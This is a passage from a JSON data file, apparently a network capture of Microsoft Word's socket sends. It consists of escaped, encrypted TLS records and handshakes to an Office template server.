\xe3\\xdd\\xb3a\\xf7\\xe3\\xa4\n&\\xf26<}h\\x1ca\\xcf\\xa3\\xfes\\xf3\\xf2\\xe1\\x90\\xf3\\xae\\xad`z\\xa7=\\x9c\\xbd>}\\x19\\x16\\xe1\\xd9\\xd8\\xf3bch%1t\n\\xc7\\xc3\\xca\\x11"
  570. },
  571. {
  572. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010mj\\xcb\\xa2`5o\\xb2}o\\xf0?)\\xcd\\x8a\\xfe\\x12m\\xbas\\xa9\\xcb\\xebua\rz\\xcbmn'\\x99\\x10\\xcap\\xd8\\xc7\\xc2\\xac[u\\xbe\\x17\\x7f\\xe0;\\xb6\\xca\\xcesz\\x9b\\xf2\\xa42\\x12\\x07+!n\\xc1\\xa4;\\xdd\\x80\\xfcns\\x13\\xb7\\xaal\\xda\\xaf\\x8d\\xbca\\xc2\\xa6\\xc0\\xb4\\xeas\\xd0\\xeb@\\xcd2e\\x1a\\x8c\\x889\\xf3\\xb5\\xe454\\x0f\\x9dl;\\x82\\x95\\xf5\\xe7\\xe6|\\xae\\x84&\\x97x\\x89\\x9f\\x9a5\\x0fb\\xeda\\x19a\\xabs\\xa5\\xa9d\\xdf\\x10\\xc4\\xd1\\x8c\\x13\\x03(f\\xcamwcw\\x06p&\\xb0 \\x1e\\xc5,\\x11\\x12q0\\x97&f.c\\x89\\xf0\r\\xec\\xf9<\\x05\\xce\\x97\\xb14\\xf6\\xe0+\\xf7k`\\xf3\\x9c\\x06\\xd7\\xca\\x8a\\x84\\xbd\\x8e\\xf6_\\x1du~]\\xfa\\xa1\\x84mhz\\xfbb\\x9d\\xa2\\xe1\\xfb\\x88q\\x1a\\xc1\\xb5u\\xf8\\xeez\\x1d\\xbd\\xc1\\xc5\\x9b6\\xb7\\x8d\\x9cuc\\x87d\\xb1r\r\\xdf\\x90\\x1d\\x8e@\\xcev\\xc1\\xa4\\xd4\\x06\\xe2\\x95f/\\xdb(>\\xfdb\\xd7\\xfb\\xcb"
  573. },
  574. {
  575. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9cmn\\x858bs\\xa2\\xf0\\xf3\\x87\\x16i\\xd6\\xef\\\\xd6\\xfa\\x80\\xe9\\xae=f\\xb4\t\t\\xc5z\\xa5n\\xa4\n\"\\xb2\\x8e\\xaed\\xdf\rm\\x9a)6\ra\\xcdk\\x84\\xd3\\xc91\\xfci\\x83\\xa9\t(d\\xb1\n[zp\\x86}\\x8ciq\\xf0\\x8f\\x02\\xb9px\\x9e&\\xb3\\xc0tu\\x02\\xcc\\x16\\xa3\\xcfh\\xc0\\xf2w\\x95\\x10w\\xa0\\xa0q\\xf7zz\\x05r4\\xa4\\xc3y`f\n\\x18\\xf1\\xa0k\\xd4\\xbbdd\\x10u\\xa36j\\xdf\\xd0\"\\xcbt\\x80\\xd6\\xeb\\x0f\\xc3\\xd7\\xd7\\x08\\x97uob\"\\x8d\\xbb5\\x97\\x12w\\xa28b{\\xf6\\xf6\\xaa\\xeddx\\xe4\\xda\\xf9e\\xd8p`9\\xc3\\x83]m!\\xbd\\xd2\\xf8\\xfa&gn\\xcb\\x05\\xbb\\xb0\\xee\\x85\\xdf!\\x14\\x8c\\xc5\\x8e\\x93\\xf0\\x00\\x82&\\x01\\xcfnc |\\xcf1\\x82\\x1c\\xe9\\xd0\\xae\\xee\\xc2\\xa0|z\\xeb\\x90m\\x96\\x9b\\x00\\x91as\\x13\\xac\\xb5\\xbbm\\x80\\xe4\\x10`g\\x0f\\xb3\\xac{`\\xf7e\\xf5\\x17\\x12i\\x87\\xf2\\x89s\\x8e\\xe3\\xbavf\\x10\\x1e@"
  576. },
  577. {
  578. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xbf\\xfb[k\\xd0wex\\xbd\\x03|\\xff\\x8f\\xed]\\xf4\\xb9\\x10\t\\xb1pp\\x0c\\xdc\\x1dt\\x1a@\\x80\\xb7\\xa8\\xbd\\x99\\x19\\xd9\\x81\\xf7zk\\xf3a\\xaf\\xfc\\xde\\xd2\\x9c\\x01\\xca\\x04\\xfa_\\xe8v@\\x1a\\xba/1:m\\x89\\xf8\\xd0i,;l.\\x1b\\x03\\xe7\\xf8\\x80u)\\x0e\\xab4w\\xaaf\\x0e\\xd8\\x86\\xba\\x9b\\xb4frj\\x1d\\xf9\\xf8\\x9fw\\xd6\r\\xdeu\\xac\\xce\\xf3a\\xc1\\xc3\\xb8ih\\xed\\xa9s\\xcey\r@\\xdas\\xc6\\x92j\\xa9\\xd7\\xa2w\\x84\\x8b&\\x03v\\xa1.o\\xfc\\xa6`^q\\x7f\\x8b'\\xd8\\xd7c\\x8d\\x9e\"\\xb4&\\xa2\\xda\\xa0\\x95\\xca\\xa6\\xff\\xfb\\xcc_\\xdb\\xf5@\\xb3\\x94*\\x89\\xb5*#\\x14\\xc5\\x94%#6\\xb2\\x0b\\x9c0\\xa0\\x1b\\xa6a=f\\xfa\\x9b\\xa6~u\\xc1\\xb6\\xb1tn\\x9a\\xf0\\x1a\\xee\\xf1m\\x1d:/\\xc6!\\x07\\x00\\xeai\\xaf\\xed\\xd5e\\xd9\\xe9l\\xf3\\xcds\\xff\\x07\\x08\\xed\\xf4\\xaa\\xd4\\xbb\\xae\\xff\\x8b\\x88\\xae\\xa4\\x93\\x11d\\xfc\\x99\\x08\\xe0\\xfb\\x070\\xd0\\xdd#\\xe2z\\xfb\\x9di"
  579. },
  580. {
  581. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe1n\\x95i\\xd3,l\\x88y\\xaa)\\xee\\xb9\\x1a\\xac\\xfb2\\xc3\\xbf\\x050\\x0f\\xa0\\x9es\\x8e\\xfc\\xca\\x8e\\x9au:\\x1a\\xd6\\xbb\\xe0\\x97d\\xafl\\xbb\\xb92\\x87'\\xc8\\xc5\\xcdn\\xdb\\x83>\\xc4\\xc5\\xc8\\xae\\xf9\\x9a\\x05~npp\\x9b\\xf0\\x08$h+4\\x91e$\\x87\\xbf\\xac\\xd2\\xc9\\xa1\\xda\\xbfu\\xa4\\xcb>\\xee\\xd4l7\\x16\\x00p\\xcc\\x81x*\\xe6\\xa2\\x1f\\xd4\\x83\\xd3g\\xc9l\\x80\\xbb\\x92\\x97]e\\xc0g\\xee\\xd4q\\x1f\\x1b.9-\\xbf\\xb8\\xe4)\\xae\\xd2,vp\\xbci\\xcd9@\\xaa\\xf1\\xde\\x03\\xc4\\xf6\\xd4[s\\x98h<\\xd1sg\\xed6\\xea\\xc2\\x17;(\\x856\\x8f~\\xdez\r\\x92\\x96\\xf9<\\xacv\\x91,\\xd7\\xe0\\xd7g\\xa78\\x83w4;\\x93\\x07\\x1c\\xad\\xc8rb\\xb7\\xdd\r\\x97\\xf9\\xf0\\xfd3c\\x0c\\x02\\xd1/\\xd0\\xa4\n\\x0c;\\xa3\\x87_\\x96ug!\\xa6c\\x7f%\\x8b\\xba\\xf5\\@\\xc7\\xb4\n\\xb9o\\xf2\\x0eg*\\x84\\xaax\\x920s\\xf4t8/\\xe1\\xda)\t\\x81c\\x02\\xf31"
  582. },
  583. {
  584. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6c{\\x87\\x84\\x9c\\x9d?r?\\xb5\\x80\\xde\\xc9\\xe57\\x19z\\x0e\\x86\\x1ak\\x91+5\\xfa_y\\xca'\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  585. },
  586. {
  587. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6c\\x1e\\xd2\\xc9k\\xcb\\xbf\\xea1r\\xb6\\x8c\\xfe\\x95\\xfc\\xddq)\\x92\\x8b\\xb7d\\x0ef\\xd8\\x93\\xe8\\xdcd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  588. },
  589. {
  590. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010a\\xa92\\x9f_\\x18\\x98f\\xc3c\\xc9\\xd3\\x00\\x8c\\x0c\\xa8\\x97\\xcbh\\xa5\\xaf\\xf8\\xe7\\x83n\\x99\\xa1\\xf3p{\\xfa\\xe3qj\\x9f\\xb4\\xce\\x0es\\xee\\x96s4\\xaa\\x05/x`\\xe1x\\x1bc\\xee\\x80\\xc6\\xd1\\xafw\\x0b\\xc8th\\x87{^\\xbc\\xe0w\\xa9\\xed\\xc2ar\\xb4lb\\x88f\\xef\\x85f;\\x80\rr_\\xa3\\xdam\\x0c\\x14\\xf8\\xea?\\xf9'\\xb6o\\x9ciay\\x10\\xa5\\xe0\\xeel\\xfc\\x9c\\xd8\\xe9q]\\xe25\\x0c\\x17\\xc3\\xdc\\x81q\\x00\\xe2'\\xbe\\xa2\\xc7:\"\\x9f\\x98\\x8d\\xf7\\xee\\xb8\\xb5k\\xa5}\\x82]9\\xce\\xf60\\x94|,1\\x02\\x8d\\xc8\\xd5\\x91\\xad.\\x08p\\xb0\\xa6\\xb8z\\x9f\\xd8\\x86\\xa9\\x89!\\x97\\xbb\\x92n\\x8d\\x82\\x83\\xcfm)\\x8f\\x9b\\xcf,\\xc0\\xa7\\xb1l`<\\xf2bs\\\\xd9\\xbe\\xda\\x14#\\x1b\\x1f\\xec\\xc7\\xfe\\xf4d \\xf7}e\\xa6\\x1c\\x95\\xedc9x\\xb2[\\x02{\\xf4\\xdfyr\\xaf\\xf2n\\x02\\xabq\\x8f\\xf1\\xc9\\xd2\\xf5\\x8b\\xfe\\x83\\x94\\xdb'u \\x82\\x00=\\xf1\\xc58\\xe8\\x06\\xb8"
  591. },
  592. {
  593. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0108 \\xb6\\xbdxi\\xfc\\xf9y\\xfa\\x1d!\\x1c\\x15e\\xfc~\"\\xcfg\\x84\\xa3\\xbf\\xd1\\xeak\\xbe*_\\xf5\\xb18\\xfdt\\xed\\x1f\\xfa\\x8di\\xb8\\x9f\\x1b\\xac=n\\xc6uj\\xc82\\x1cn\\xbe\\x19\\x94\\xd3\\x94\\xb5\\x89\\xfd\\x99\\xae\\*\\\\xcb\\xb7\\x17\\xfd\\x9ey\\xe6\\xaa\\x91\\xca\\xab\\x7f\\xce\\x80f\\xcad;\\x06\\xd5\\xe9(zpx\t\\xf3\\x06\\xc6\\xcf\\xb5(2\\x18`f\\xaa\\xba\\xa2qp\\xb8ss\\xcfz\\xf6\\xa2\\xc6\\xbcat\\xb0\\xe53\\x83y\\xa0\\xc5\\xd0pu@\\xd7\\x12.\\x05\\xa9\\xcf\\x16\\x14\\xf6\\xc1\\xe76\\xc96\\x07h\\xc3{\\xc9\\xe4\\xec5\\x82}cl\\xcd\\x01tqk\\x04\\xff\\x7f\\x1d\"\\xf4\\xa8l\\x87\\x93\\xf0\\xd7s\\xe7e\\xe4\\x80\\xc45\\x00\\.j\\x88\\x10\\x06\\xb1'\\x19\\x16k\ri\\xbe\\xf5\\x8b\\x12\\x07\\x04\\xafmz\\xc6\\xdd[c\\xa1\\x91h5\\xed\\x00\\x1b\\\t\\xe8\\x10\\x80\\x85w\\x13\\xf7\\xa0\\xe42\\x82o\\xedl4l2z\\x8bj^\\x10\\xa2\\x81s\\xf9\\x13\\x8f\\x80`\\xbf\\x0f\\xce\\xcd\\xe3\\xe8t"
  594. },
  595. {
  596. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x04\\xda ms\\xed\\x14x\\xf3\\x08e1v\\xf3\\xd4\\x12\\x94\\x9e\\xdb\\x97\\x89\\x1e@o\\x0c(\\xb8.\\xb4\\x98\\xd7(\\x86\\xfe\\x88d\\xd7\\xe6\\x82\\xb83\\xf0\\xdar\\xf7\\xed\\x9f\\x834'\\xef\\x8d\\xbb\\xb3=7\\x83]\\xdc\\x1e\\xe4\\xc3\\xcdh\t\\xcc\\xb1ys\\xbbm\\xf9\\xf1\\xe0\\xa7[}a'.m\\xfd\\x91\"ue\\x8dn\\xe9^|\\xa9\\xe5z\\xcf\\xf2p\\xde\\xfd\\xd1\\x01\\xe3\\x17\\xfb\\x90go\\xf4\\xb3\\x7f\\x12\\xa4.\\x91\\xa5\\xb0\\x82s\\xff\\x98i\\x072`\\xe4\\xfb\\xd8h\\xc2\\x9f\\xb5\\x11\\x02\\x01\\x96y\\\\xff\\xb18\\xeb\\xe4\\x1d\\x8a\\x15\\x0cxks\\xbe\\xad \\x97`\\xc9\\x13\\xa0:o\\x1d\\x8f7\\xab\\\\x8c\\xeb\\xff&\\x9e\\x88\\x11\\xa7\\xdemp\\xa6v\\xe2\\xedrp^\\x88%\\xf0&\\xe8?nu\\xd9\\xbahq\\xd9\\x8f\\xbfy\\x00f\\x05\\x17\\xd4\\xa5\\xf5\\x15\\xb1\\xbe\\xeb\\xe8w\\xc9=z\n\\xb6zk\\x90\\x00\\x17\\xe6%~)\\xf5\\xec\\x9ba\n4=\\xb3qif)\\x83u\\x12\\xeff\\x83a\\xf8\\xbd\\x86\\xb6z\\xf5\\x83"
  597. },
  598. {
  599. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x18\\xed\\xe9\\xb9\\x00\\xe0\\x82e\\xb3.\\xfc\\x1e\\xa5\\xc5s\\x1bg\\x1f\\x97\\x89\\xdc\\x16\\xe8+1\\xf5\"q\\x97\\xb3\\x1a\\xe9a\\xf3\\xa2\\xca\\xb6\\xa8\\xb8\\xf8,$\\x17\\x80\\x9e\\xc8$\\xf50\\x03jfb\\x8d\\xaa}r\\xbbe\\x88\\xad6\\xeb\\x96\\xec&\\xa7`g\\xcb]3\\xc8\\x02;9\\xc0\\x9c\\xd4\\x15\\xab\\xf0q\\xaa\\x8b\\xe5\\\\\\xb1\\xf0\\xda\\xd3\\xe9=\\x17\\xc5?\\x13\\x1d\\xbf\\x84p\\xbe8\\xd5\\x02\\xd2\\xb3e\\xcd\\x8f\\x13\\xde/\\xfby0\\x8e\\xda\\x13\\xa5+i\\xb0\\xd4\\xb7\\xfe\\xb6\\xa0\\x88u\\xf9\\xb2\\xee\\x86\\x1f\\xda\\xfa\\xa7\\xe9\\xbd\\x1cm\\xa0=?1\\xec2\\x98\\xae\\xf1\\xbb\\xfa\\xbci\\xdf\"h\\xbfdz#i\\xd0\\x9e\\x9bv\\xe8g\\xfc\\xea\\xea\\x81d\\xa5\\xde\\xf9>l\\x83\\xef^\\xd8\\xd03\\xfd\\xca\\xa9:\\x0f\\xb7d\\x00\\xb1a\\x98\\xc9\\x1e\\xbb\\xe1\\x9df\\xf6.\"$/\r\\xb2^\\xaf\\xd9f\\x03\\x1f=\\x1e\\xb6\\xde\\x90\\xd9\\xba@\\xa0\\x90\\xb1\\x9f\\xfezrd\\x88\\xe4\\xedgg,]k\\xf3\\xdb\\xde\\xadv\\xecp\\xc0\\xc8]y"
  600. },
  601. {
  602. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa2f\\x83\\xb51\\xf63\\x8czz\\x01\\x95\\x8dlov\\xe18-\\xe9\\x9fx\\x14\\xfc\\xe6\\x14\\x8f\\xca\\xe2\\x8a\\xae\\x95\\xf6\\xf7\\xc8\\xc0\\x0c`\\xb9~\\x81\\xbc\\x16~\\x9b\\xd9+\\x98\\x8e\\xefm\\xe4\\xa9\\xd9\\xd3/qz\\x87\\xcdi\\xbe\\x90`\\x85pp\\xce\\x98>b0ld\\x17\\x85\\xcf\\x8do\\x90f\\x14\\xd8+\\x0c\\x8bg\\xf7\\x1c\\xf5\\xc8\\xd2\\xdd\\x94\\xa5\\xad-\\xec\\x852~\\x82\\x8e\\xf3c\\xe059\\xafls\\xf3[\\x93xs\\x9e\\xb8\\xce\\x9b\\xde\\x83@\\x9e\\xeb\\x90\\xd1\\xe8f\\x03\\xa0b\\xf20\\x02p[\\x01xumz1m\\x9b\\x9b\\xab\\x0c\\xef\\xd9\\x1fa\\x12e\\x1b\\x9fu3^>f\\x0c\\x1a\\xd0\\x8ft\\xdc\\xec\\xef9\\xb3}\\x02\\x8d\\x9d\\x81\\xd9\\xe5q\\x03\\x14r\\x05\\xebd\\xbd-\\xdfj\\x1cyf6\\xce;k>-k\\xa3zmb\\xcc\\xf9\\xf8\\xb7\\x08\\xd3y\\xfa\\x97u\\xb4\\xa36\\xcas \\x85j\\xfe\\xfc\\x13]\\xc9\\xe1>\\xfcu%\\xa7\\x8c\\xd7q6\\x8c9\\xcd|\\xdbh\\xb4\\xd2\\x83$\\xd6\\xfa\\x02\r~"
  603. },
  604. {
  605. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8c\\xda\\x19\\xaa\\xbd\\xdd\\xe8\\xbe\\x8e\\xbe\\x929\\xb33eh\\xa1\\xb5\\x10s\\x8a\\x1ck\\xb4\\xf8\\x1f\\xa8+/\\\\x81~\\xbc:\\xde\\x0c%]\\x11\\x16^zgw\\xaa\\x1e[y8\\x89\\xbb\\xac\\x0f\\x08\\x0ba~!g\\xb7\\xc4\\xca\\x80\\x00\\xc8\\xa1kx\\xa0\\x02\\xbf2u?k\\xde!\\x8b\\xcd\\x96'5\\x06\\xf4\\x86\\xd5\\x1cs\\xa8k\\x1c\\xc3r\\xbal\\xd3\\xc7\\xf2\\x16\\x0eg\\xc9\\x86\\x9bk6\\xa8\\x9c7\nzv/\\xd2\\xa8\\xe2\\xa9\\x07\\xec\\x98\\xb0s\\x83l\\xcf\\x98\\xa0\\x13br\\xa8i\\xf1<7'2=\\xf5\\xaa\\xccw\\xf1\\xd7u\\xa6\\xe3d\\xf56\\x91\\xcc\\x10\\x9c\\xe1qk\\x94:\\x91\\xf7joj\\xfc\\xf0\\xacc\\xbfn\\x84k\\x0bs\\x9a\\xe5\\xc0t<\\x19x[g\\x89x\\xdc\\xd5i\\x1e\\x8f5h\\x06\\xec\\x89\\x9c\\xce\\xbe'y\\x04\n\\x1ac:\\x9f\\xaf\\x19z\\x14@\\xf7{\\xf9f\\x0ela\\x15\\xa7\\xd3\\x1a\\x88\\x99\\x18+\\xb7dx\\xa2\\xf2\\xa2#\\x02v2t\\xea\t\\x1e6\\x1a_lw\\x9a\\x8e\\xe1xp\\xd6"
  606. },
  607. {
  608. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf0\\xc9=\\x98\\xc8\\xac\\xc0\\xb9\\x9f\\xcdca\\xf0\\xe7\\x98\\xa3\\x9a\\x8e\\x9a\\xbb\\x1d\\x97\\x8e5\\xc6\\xa0\\xfb\\xe5\\x19i\\xa8\\xfcn\\xff\\xe5\tr^\\xfc~\\x92\\xd9\\xc9\\x82g%\\x82i\\xc8\\xf8\\xe7q\\xbf\\x8d\\xc3\\x1d\\x8a)/{#\t\\xa9p#|1\\x80y\\x8a]-n\\xb3\\xc6\\xdcy\\xa8\\x81\\x7f\\xff\\xde\\x87q\\xb6+\\x97\\x0bi\\xe0\\xe0\\xc2\\xa6\\x8a9\\xac\\xb5\\xe5\\xa5\\xa1:\\xf9\\x90ndt/\\xb0@\tu\\xcb\\x1f\\xa6\\xd79iz\\x9f\\x01\\xbc\\xcb9\\xbc\\xfa&\\xa5&\\xd7ld\\xf9\\x87\\x82\\x95\\x8f\\xc8&\\xe9\\xb2\\x00\\xda\\x8dq\\xa1\\xf2wl\\xe7#\\xe0r\\xe6\\x92x\\x10\\xa3\\x97\\xc9a\\xa5\\x1d\\xf3\\x92xv\\x97an\\xcb\\x8e\\xb7|i:\\xb5&\\x1c\\xe6\\x02\\x1c\\x7f\\x08\\xaa\\xc0\\xfczv\\x7f\\xf1i\\xda\\xec\\xdd\\xb7r\\xab\\x178\\xbb%\\xf9\\x92\\xf6\\x98po\\xbe\\xdf[\\xf6?x\\xdc\\x9e\\x99\\xd3\\x07\\x10\\xff\\xc6\\x07\\xf2\\xfe\\xfb\\xe7\\xae\\x19+\\xb3vof}\\xe5\\x12\\xee\\x0cz8w\\x02\\xc8\\x8d\\x0c\\xd6\\xd2*\\x18?8"
  609. },
  610. {
  611. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xec\\xd3\\x9fu,\\xf4\\xd36u-iy\\xe1\\x93}\\xe2\\xc7`\\x1c\\x10\\xb0\\x82^\\x00\\xa6\\x0b\\xe0\\xd6\\xe2\\x88\\xa3qe\\xdb\\xf8}\\x02o\\x0e\\x0c\\x8f\\xb2\\xd8\\xac\\x93=\\xb9\\xa4(\\xa0sj\\xccjy\\xcd\\x0bm\\x83czw\\x9fs\\xae4\\xed\\xac\\xd1>\\xaa\\x05[\\x13\\xad\\x065\\xc7as>w2gs\\x15\\x006\\xe6\\x1ae\\x1d\\xf3_(\\xea\\x9dj\\xba\\xf7\\x91\\xacf\\xf3(\\xa5\\xd8\\x98\\x16p\\xf9;\\xe9\\x93\\xf9\\x9a\\xa6h)\\xa4\\xb9\\xf3\\xb3\\x1e\\xac[\\xf7\\xa58\\xffs\\x84`y\\x996\\xb2\\xb4\\xafm{<\\x95\\xb2\\x15#\\x0cq\\xfcy0&\\xe7\\x9f\\xd5w\\xb6\\x1b\\xd8\\xe42\\xe6\\xb6d*\\xb8\\xf0>s@h\\x15e\\xd6-\\xb3<o\\xec\\xf9\"\t\\\\x0bl\\xc0\\xaa\\x8f\\xec\\xf3\\xdd\\xe6x\\xd8cs%m\\x96\\xf14\\x15\\x1e\t\\x1a\\x06\\x14j\\xa1\\xb5\\x04v?\\xf3j\\x1c \\xed1'\\x119!\\x04\\xae\\x18\\x95\\xfe\\xa6)]\r=\\xa3\\xee3{\\x1a\\x07\\xb6j\\xc9\\xeb\\xd9$n\\xf70\\xba\\x94\\xe2"
  612. },
  613. {
  614. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xcd\r\n(\\xeb\\xd5^~#\\x18\\x021\\x92y\\x7f|\\x96\\xd9`\\x82\\x0f]\\xfd\\xed'\\xd0\\x02\\xbf\\xa0\\xee\\xb4p\\xe8\\x8dw\\x92\\xad\\x18:\\x02\\xf2\\xfb\\x92yj\\x829z/\\x04c\\x06#\\xa2\\xf3\\x9c\\xd3\\xc5\\x1c\\x80\\x84\\x85oa\\x03\\xc8s\\xe3\\x93\\xdd(\\xee\\x89t\\xf6v\\xaa }\\x18h\\xd35\\xdb\\x14\\x9dw\\x07]s\\x9cr\\xe2\\x110\\xcas\\xe73z\\xba\\x92\\xd3\\xd0\\xbe5\\x88l\\xf9\\xb7\\x8fb\\xda#l \\xc8\\xd3\\xcb\\x06\\xa0k\\xfc\\xbd-\ne\\xd0pr5b\\x88\\x98\\xb9\\xba\\xb0<\\xda\\x88\\xbe\\xb4\\x89|\\xb9\\x07\\x8f}[\\x85\\xff\\x06\\x06\\xb0'wx\\xdfbk\\x07l\\xc3\\xb4\\x98\\x0f\\x01&\\xed\\xb8\\xafw\\xc8bf\\xec\\xe7\\xe5h\\x07\\xb6\\x99\\x9b\\xc3{\\xd6\\xc1\\xfc\\xb7x\\xa4\\x10\\xe5\\xe6\\x8f\\xd1\\xc9\\xe3\\xc7\\xd1\\xa1\\xaf\\xf3\\xb9\\xa5\\x83\\x9a\\x86\\x01c\\xbe\\x97m\\xed\\x0fftwn\\xff\\xc6o\\xcb\\\\&>ml^\\x03\\x13\\x06\\x95fn\\xfc\\xe5mg\\xd40\\x85~\\x99\\x0f\\xd6\\x81yy\\x8d"
  615. },
  616. {
  617. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb08}i\\x0e\\x9apwt\\xd3q\\xe5\\xaco\\xea\\xe2\\xbe_\\xe6wh\\xd1\\x91\\xb5\\x99\\xb2\\xfch\\xe5g\\xbd\\xf0\\xec\\xd3\\x95(\\xb2\\xe1w\\xb4\\xccz@\\xde\\x85\\x8bq\\x9b\\xe1\\xfff=\\x82\\x04>\\xa3ta\\xb7\\x83ggp\\x1c\"\\xda\\x9a\\xbc\\xc4\\xd2.\\xed\\xb7\\xf6n\\xcc\\xdap\\x9b\\xaec\\xea!\\xbb\\xe9\\xe3t\\x06lf\\x05\\xbc\\xde[(\\xfe\\x18\\xa1\\xce\\x8c\\xd0\\x1c\\x11oal\\x9a1l\\x85\\xb7\\xb0dff\\x7fc\\xf0=f`\\xf1\\x14c\\xa5:\\xd9u>\\xa6\\x06\\x95\\xe9o\\xd0\\x13\\x169\\x87\\x9fq\\xde\\xa5\\x8fm`\\xf0m\\x88\\x8f\\x13rw`\\x16o\\x1fq\\xb9\\xe6\\x95\\x80\\x16\\xe6\\x06jy\\xa4r\\x17_c[\\xef\\xc3i\\xa3\\xb2q\\xf5s \\xf9m\\xd4*7b@;\\xb8x\\xc0\\xbc(\\xf3n\\x0c=>b\\xe0\\xba\\x8fo\\x880\\xd7\\xd8\\x08*\\xd9\\xf2\\x1c\\x88\\x8f\\xc7e\\xe9\\xf3\\xa8q\\x17\\xf5\\xff\\x0f\\x7f,\\x1e\\x02\\x15\\x15\\x88$\\xb8\\xca<[|\\xd4\\xef5\\xfa4\\xc7\\x17\\xd9\\xf2\\x15\\xfd^"
  618. },
  619. {
  620. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xbe\\xc9]t5\\xcc\\x1a\\xf3vq\\xba\\x10r\\xdd\\x16\\xb4\\xbe\\xc5\\x7f\\x1b\\x83\\xb1\\xea\\xb8\\x1b3|!o&\\x15l\\x03\\xf86@\\x95\\x16\\x96\\x7f\\xef\\x1d}\\x06\\xc1\\x84|\\xb32\\xa7\\x1d\\xce\\xed\\xbf$<\\xff\\xabs&^\\x03\\xd6\\xfe\\xe3\\x85\\xb3\\x04\\x10wzb\\x92\\xf8\\xca\\x8d\\x14\\xa4\\x95w\\xf2\\xe2\\x9er\\xd4es\\x9c,\\x088\\x9d\\x10\\x12\\xf8\\x98x\\xd9a$6|k\\x94\\xe4\\xdb\\xba\\x12\\xe91\\x15\\x07\\xeb\\x1f\\x138\\xb3y\\x9f\\x12own\\xe7\\xe9),\\xf3!\\x1d\\x1b&5'-\\xe1\\xe2aj3\\xd6\\x7f\\xa5\\x92~\\x03;\\x00zf\\xe5^\\x93\\xcac\\xa9\\xbej\\x00\\xeb\\xa5\\xa5t\\xf2\\x9at\\x9f!\\xb3\\xbf\\x00\\x8b\\xda\\xe5\\xb8\\xf2%\\xbfjl\\xdb\\xef\\x1f\\xbb\\x8f\\x8b\\xb4)3\\x8b\\xf7p|c\\xaf\\xdbb\\xf0\\xb0\\xd8b\\x8e\\x96\\x8f\\x19]\\xe7 \\x19\\xff\r\\x8e=\\xab\\x9d]+\\xda\\x9f@\\xa1c\\xa3\\xe8\\xc9\\x12?\\xcd\\x99\\x03\\xc0\\xbf&e2\\xef\\x18\\xe0\\x1de:\\x87\\xcbz\\xe0\\x9f7.\\x17qr"
  621. },
  622. {
  623. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb6{\\xe7im\\x1e\\x12\\xa0\\xee\\x1e`dqh\\x06\\x12\\xf5%\\x02-o\\xac\\xabs\\x06y\\x14!z\\xd2\\xf8\\xa1{\\xe3\\xf6~\\xee\\x0b\\x92\\xe25\\x164|\\x94v\\x85\\xa9\\x8f\\xaf\\x18 \\x8abpf\\xfb\\xd1\\xaarj\\xb6\\xc2z\\x13\\xf8\\x14^\\x8dto\\x0b\\x8a\\x93t\r\\xb5\\xba\\x87\\xfa\\x95\\xa2[,\\xa4\\xf0\\x7f6\\x0c\\x029\\x1c\\xf3\\xd3\\xf3\\x85\\xc7i\\xce\\xea8p\\xb8ij\\xa7ho\\xdb\\xd8\\x03*\\xe2\\xa1\\xdc\\\\xc7\\x94t\\xc8\\x08\\xd7o(\\xdb\\xbe[\\x01\r\\xce\\x0b\\xfe\\xf5 \\x1c\\x92\\xb3\\xc0\\xcacm\\x8d8wt\\x96\\xb5\\xbfp\\xf4\\x9a\\xf2\\xdb\\xb7}m\\x044\\x1a\\xcfu\\xd4d\\x19@t\\x80y\\xf2\"nu\\xca\\g\\x8f\\xfb\\xa0\\x8a\\x16\\xb0-?\\x06q\\x84_\\xc3\\x19\\xf7\\d\\2\\x90wbu\\xae~\\xfe\\xe8\\xc0\\x07)\\xcf\\x8dt\\x95\\x13g\\xc0\\xfc\\xf8[\\x85\\xa0\\xaaw[\\xd6hq\"\\xa2p\\x9f;\r$^pn\\xe6\\x9d\\xc9m\\xd7_\\xcfa\\xae\\x92lp\\x98\\xc0\\x19]\\xd6b"
  624. },
  625. {
